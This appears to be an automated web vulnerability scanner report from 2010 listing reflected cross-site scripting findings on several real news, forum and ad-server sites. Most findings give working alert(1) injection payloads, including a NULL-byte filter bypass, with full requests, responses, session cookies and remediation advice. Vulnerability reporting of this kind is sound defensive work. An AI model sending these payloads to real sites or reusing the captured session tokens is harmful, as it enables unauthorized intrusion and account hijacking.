Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /user/index/regsteptwof423e--><script>alert(1)</script>456331c0843 HTTP/1.1 Host: analytics.informationweek.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292122899863; s_cc=true; iwkbtn_101201=9297530625|1291241986731; iwkbtn_emc_101111=7192037394|1289542143541; PHPSESSID=krdg7a5b38teleu6mcddepsq63; s_sq=%5B%5BB%5D%5D; s_nr=1289542256120; iw_smb_vipre_101206=2370200911|1292121551825; s_lv_s=Less%20than%201%20day; iwa_user_login_check=a3JkZzdhNWIzOHRlbGV1Nm1jZGRlcHNxNjM%3D; __qca=P0-1196101997-1292112032216;
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:24:51 GMT Server: Apache X-Powered-By: PHP/5.3.2 ZendServer/5.0 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 45889
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <!-- This Line will output the doctype we set inside the bootstrap file --> <html xmlns="h ...[SNIP]... ormationweek.com%2Fuser%2Findex%2Fregsteptwof423e--%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E456331c0843&siteId=300001&successfulLoginRedirect=http://analytics.informationweek.com/user/index/regsteptwof423e--><script>alert(1)</script>456331c0843"> ...[SNIP]...
The value of the creativeID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca2f0'-alert(1)-'7afbef3b044 was submitted in the creativeID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the esi request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload db4aa'-alert(1)-'446918a9653 was submitted in the esi parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Vary: Accept-Encoding Server: Microsoft-IIS/7.0 P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA" Date: Sun, 12 Dec 2010 03:09:58 GMT Connection: close Cache-Control: no-store Content-Length: 19741
var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D ...[SNIP]... cs.AddParam('timeinview',InsightExpress.Analytics.TotalTimeInView);},1000)}});InsightExpress.Path='/adserver/';InsightExpress.DomainName='core.insightexpressai.com';InsightExpress.QueryString='esi=truedb4aa'-alert(1)-'446918a9653&bannerID=161857&referer=www.darkreading.com&siteID=197028858&creativeID=142745208'; InsightExpress.onload=function(){InsightExpress.Loaded=true;if(!InsightExpress.Cookies.Enabled()) return;var invite= ...[SNIP]...
3.10. http://core.insightexpressai.com/adServer/GetInvite2.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://core.insightexpressai.com
Path:
/adServer/GetInvite2.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload da144'-alert(1)-'0b64955bbf4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the referer request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3e34a'-alert(1)-'d39809cba36 was submitted in the referer parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the siteID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e7386'-alert(1)-'a2b2aa77b38 was submitted in the siteID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
3.13. http://core.insightexpressai.com/adServer/adServerESI.aspx [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://core.insightexpressai.com
Path:
/adServer/adServerESI.aspx
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a038b"%3balert(1)//cbec0d2b53d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a038b";alert(1)//cbec0d2b53d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the bannerID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 518fc'%3balert(1)//339d45147ba was submitted in the bannerID parameter. This input was echoed as 518fc';alert(1)//339d45147ba in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of the campaignID request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c15af'%3balert(1)//39926be4976 was submitted in the campaignID parameter. This input was echoed as c15af';alert(1)//39926be4976 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00e76d9"><script>alert(1)</script>bc6103d984a was submitted in the REST URL parameter 1. This input was echoed as e76d9"><script>alert(1)</script>bc6103d984a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /submit%00e76d9"><script>alert(1)</script>bc6103d984a HTTP/1.1 Host: digg.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5f1aa"><script>alert(1)</script>85f3fa554f5 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search5f1aa"><script>alert(1)</script>85f3fa554f5 HTTP/1.1 Host: dockets.justia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:25:34 GMT Server: Apache/2.0.63 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 123915
3.18. http://dockets.justia.com/search [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://dockets.justia.com
Path:
/search
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 689dd"><script>alert(1)</script>56f7f634075 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /search?689dd"><script>alert(1)</script>56f7f634075=1 HTTP/1.1 Host: dockets.justia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Sun, 12 Dec 2010 03:24:12 GMT Server: Apache/2.0.63 (CentOS) X-Powered-By: PHP/5.1.6 Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 123939
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 7db41<script>alert(1)</script>9ae9535c64a was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /js7db41<script>alert(1)</script>9ae9535c64a/valera/safe-standard.js HTTP/1.1 Host: image.providesupport.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: vsid=HFU500OBaLl2;
Response
HTTP/1.1 404 Not Found Content-Type: text/html Cache-Control: no-cache Pragma: no-cache Connection: close Date: Sun, 12 Dec 2010 03:23:39 GMT Content-Length: 538
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload b84de<a>8e297a28546 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /js/valerab84de<a>8e297a28546/safe-standard.js HTTP/1.1 Host: image.providesupport.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: vsid=HFU500OBaLl2;
Response
HTTP/1.1 404 Not Found Content-Type: text/html Cache-Control: no-cache Pragma: no-cache Connection: close Date: Sun, 12 Dec 2010 03:23:40 GMT Content-Length: 580
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c3ddb'%3bf03f0de2310 was submitted in the REST URL parameter 4. This input was echoed as c3ddb';f03f0de2310 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /DWA/jview/197028858/directc3ddb'%3bf03f0de2310/01/122917943 HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MUID=34AD5BBBF6FC477CAC5139C76AA247F9; ID=optout;
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6038 Content-Type: text/javascript Expires: 0 X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:25:26 GMT Connection: close
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1603a'%3bfb5300b799 was submitted in the REST URL parameter 4. This input was echoed as 1603a';fb5300b799 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /DWA/jview/197028859/direct1603a'%3bfb5300b799/01/122918379 HTTP/1.1 Host: redcated Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: MUID=34AD5BBBF6FC477CAC5139C76AA247F9; ID=optout;
Response
HTTP/1.1 200 OK Cache-Control: no-store Content-Length: 6036 Content-Type: text/javascript Expires: 0 X-Powered-By: ASP.NET Date: Sun, 12 Dec 2010 03:25:30 GMT Connection: close
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload b3f4f<script>alert(1)</script>2094ea946c1 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forumb3f4f<script>alert(1)</script>2094ea946c1/viewtopic.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sun, 12 Dec 2010 03:25:40 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=kdnh063rmditf40idg1bvm7vd3; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1487 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>forumb3f4f<script>alert(1)</script>2094ea946c1/viewtopic.php</strong> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 34c1c"-alert(1)-"8384dc80eba was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forum34c1c"-alert(1)-"8384dc80eba/viewtopic.php HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.0 404 Not Found Date: Sun, 12 Dec 2010 03:25:39 GMT Server: Apache X-Powered-By: PHP/5.2.13 Set-Cookie: PHPSESSID=pj4ri5onkrsqicl4t37nlk8ep2; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1461 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/forum34c1c"-alert(1)-"8384dc80eba/viewtopic.php"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTrack ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 69425"-alert(1)-"f4118c4a163 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forum/69425"-alert(1)-"f4118c4a163 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:25:41 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Content-Length: 1435 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <script type="text/javascript"> var u = "/404/forum/69425"-alert(1)-"f4118c4a163"; if (typeof utmx != "undefined" && utmx('combination') != undefined) { u += (u.indexOf("?") == -1 ? '?' : '&') + 'com=' + utmx('combination'); } if (window._gat) { var gaPageTracker = _gat._get ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 92498<script>alert(1)</script>981b891a7ed was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /forum/92498<script>alert(1)</script>981b891a7ed HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Sun, 12 Dec 2010 03:25:41 GMT Server: Apache X-Powered-By: PHP/5.2.13 Vary: Accept-Encoding Content-Length: 1461 Connection: close Content-Type: text/html; charset=UTF-8 Set-Cookie: Coyote-2-a0f0083=a0f021f:0; path=/
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Not found</title> <l ...[SNIP]... <strong>forum/92498<script>alert(1)</script>981b891a7ed</strong> ...[SNIP]...
3.27. http://www.addthis.com/forum/viewtopic.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.addthis.com
Path:
/forum/viewtopic.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33b3c"-alert(1)-"bb6ab5ffd36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /forum/viewtopic.php/33b3c"-alert(1)-"bb6ab5ffd36 HTTP/1.1 Host: www.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c5834'%3b22cffbe773f was submitted in the REST URL parameter 3. This input was echoed as c5834';22cffbe773f in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blog/archives/evil_bytesc5834'%3b22cffbe773f/index.html HTTP/1.1 Host: www.darkreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292121547041; PHPSESSID=8efl2fv5lkgca0bau3me2u8bb0; s_nr=1292111961290; s_lv_s=Less%20than%201%20day; iwa_user_login_check=OGVmbDJmdjVsa2djYTBiYXUzbWUydThiYjA%3D;
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d73cc"><script>alert(1)</script>c9b224127d8 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /blog/archives/evil_bytesd73cc"><script>alert(1)</script>c9b224127d8/index.html HTTP/1.1 Host: www.darkreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292121547041; PHPSESSID=8efl2fv5lkgca0bau3me2u8bb0; s_nr=1292111961290; s_lv_s=Less%20than%201%20day; iwa_user_login_check=OGVmbDJmdjVsa2djYTBiYXUzbWUydThiYjA%3D;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <html> <head> <meta http-equ ...[SNIP]... ng.com%2Fblog%2Farchives%2Fevil_bytesd73cc%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3Ec9b224127d8%2Findex.html&siteId=300001&successfulLoginRedirect=http://www.darkreading.com/blog/archives/evil_bytesd73cc"><script>alert(1)</script>c9b224127d8/index.html"> ...[SNIP]...
3.30. http://www.darkreading.com/btgcommunity/forum.jspa [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.darkreading.com
Path:
/btgcommunity/forum.jspa
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96de6"><script>alert(1)</script>f434820df34 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /btgcommunity/forum.jspa?96de6"><script>alert(1)</script>f434820df34=1 HTTP/1.1 Host: www.darkreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_lv=1292121547041; PHPSESSID=8efl2fv5lkgca0bau3me2u8bb0; s_nr=1292111961290; s_lv_s=Less%20than%201%20day; iwa_user_login_check=OGVmbDJmdjVsa2djYTBiYXUzbWUydThiYjA%3D;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: JSESSIONID=C26B3C12268F5DEF282B10D2E395C0F4; Path=/btgcommunity Set-Cookie: jive.vid=27tlKol1Bk97T7mG; Expires=Tue, 11-Jan-2011 03:26:01 GMT; Path=/btgcommunity Last-Modified: Sun, 12 Dec 2010 03:26:01 GMT Cache-Control: max-age=60 Content-Type: text/html;charset=ISO-8859-1 Content-Language: en-US Date: Sun, 12 Dec 2010 03:26:00 GMT Connection: close
3.31. http://www.invisionpower.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.invisionpower.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 97bf6<script>alert(1)</script>ce98c0e5329 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?97bf6<script>alert(1)</script>ce98c0e5329=1 HTTP/1.1 Host: www.invisionpower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: session_id=2c8721f60b408028ff0a521ff086c702; nexus_pass_hash=6a43be0d8d6bac7e79eaa27880a0de35; hblid=jr3ebwkizaguwah92qwsrp8n; __utmz=61175156.1288030225.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=ip%20board%20software; PAPVisitorId=55d051878521362728ab8250f27596b0; __utma=61175156.215013314.1285176093.1288056663.1292123324.4; SnapABugRef=http%3A%2F%2Fwww.invisionpower.com%2F%20; __utmc=61175156; nexus_member_id=67010; __utmb=61175156.5.10.1292123324;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Invision Power Services :: 404 File Not Found</ti ...[SNIP]... <br /> /index.php?97bf6<script>alert(1)</script>ce98c0e5329=1 </div> ...[SNIP]...
3.32. https://www.invisionpower.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://www.invisionpower.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 4420d<script>alert(1)</script>6c7af06f3e6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /index.php?4420d<script>alert(1)</script>6c7af06f3e6=1 HTTP/1.1 Host: www.invisionpower.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: session_id=2c8721f60b408028ff0a521ff086c702; nexus_pass_hash=6a43be0d8d6bac7e79eaa27880a0de35; hblid=jr3ebwkizaguwah92qwsrp8n; __utmz=61175156.1288030225.2.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=ip%20board%20software; PAPVisitorId=55d051878521362728ab8250f27596b0; __utma=61175156.215013314.1285176093.1288056663.1292123324.4; SnapABugRef=http%3A%2F%2Fwww.invisionpower.com%2F%20; __utmc=61175156; nexus_member_id=67010; __utmb=61175156.5.10.1292123324;
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <title>Invision Power Services :: 404 File Not Found</ti ...[SNIP]... <br /> /index.php?4420d<script>alert(1)</script>6c7af06f3e6=1 </div> ...[SNIP]...
3.33. http://www.lightreading.com/quote.asp [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.lightreading.com
Path:
/quote.asp
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 69500'-alert(1)-'bf0a47d49d7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /quote.asp?69500'-alert(1)-'bf0a47d49d7=1 HTTP/1.1 Host: www.lightreading.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: lightreading%5Fvisits=2; s_cc=true; _bizo_cksm_crc32=3AF13A5B; s_sq=%5B%5BB%5D%5D; s_nr=1291273863933; lightreading%5Flastvisit=12%2F11%2F2010+7%3A00%3A05+PM; seen=true;
Response
HTTP/1.1 200 OK Server: nginx/0.8.50 Date: Sun, 12 Dec 2010 03:35:53 GMT Content-Type: text/html Connection: close Vary: Accept-Encoding X-Powered-By: ASP.NET Content-Length: 228372 Cache-control: private
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <META name="keywords" content="light reading, lightreading, magazine, telecom, telecommunications, Internet, convergence ...[SNIP]... text/javascript"; script.src='http://tracker.financialcontent.com/track.js?Source=http%3A%2F%2Fmarkets.financialcontent.com%2Flightreading%3FHTTP_HOST%3Dstudio-5.financialcontent.com%26HTTPS%3Doff%2669500'-alert(1)-'bf0a47d49d7%3D1&Type=page&Client=lightreading&rand=' + Math.random(); head.appendChild(script); </script> ...[SNIP]...
3.34. http://www.techcareers.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.techcareers.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 85d07><a>b049a84fe02 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /?85d07><a>b049a84fe02=1 HTTP/1.1 Host: www.techcareers.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
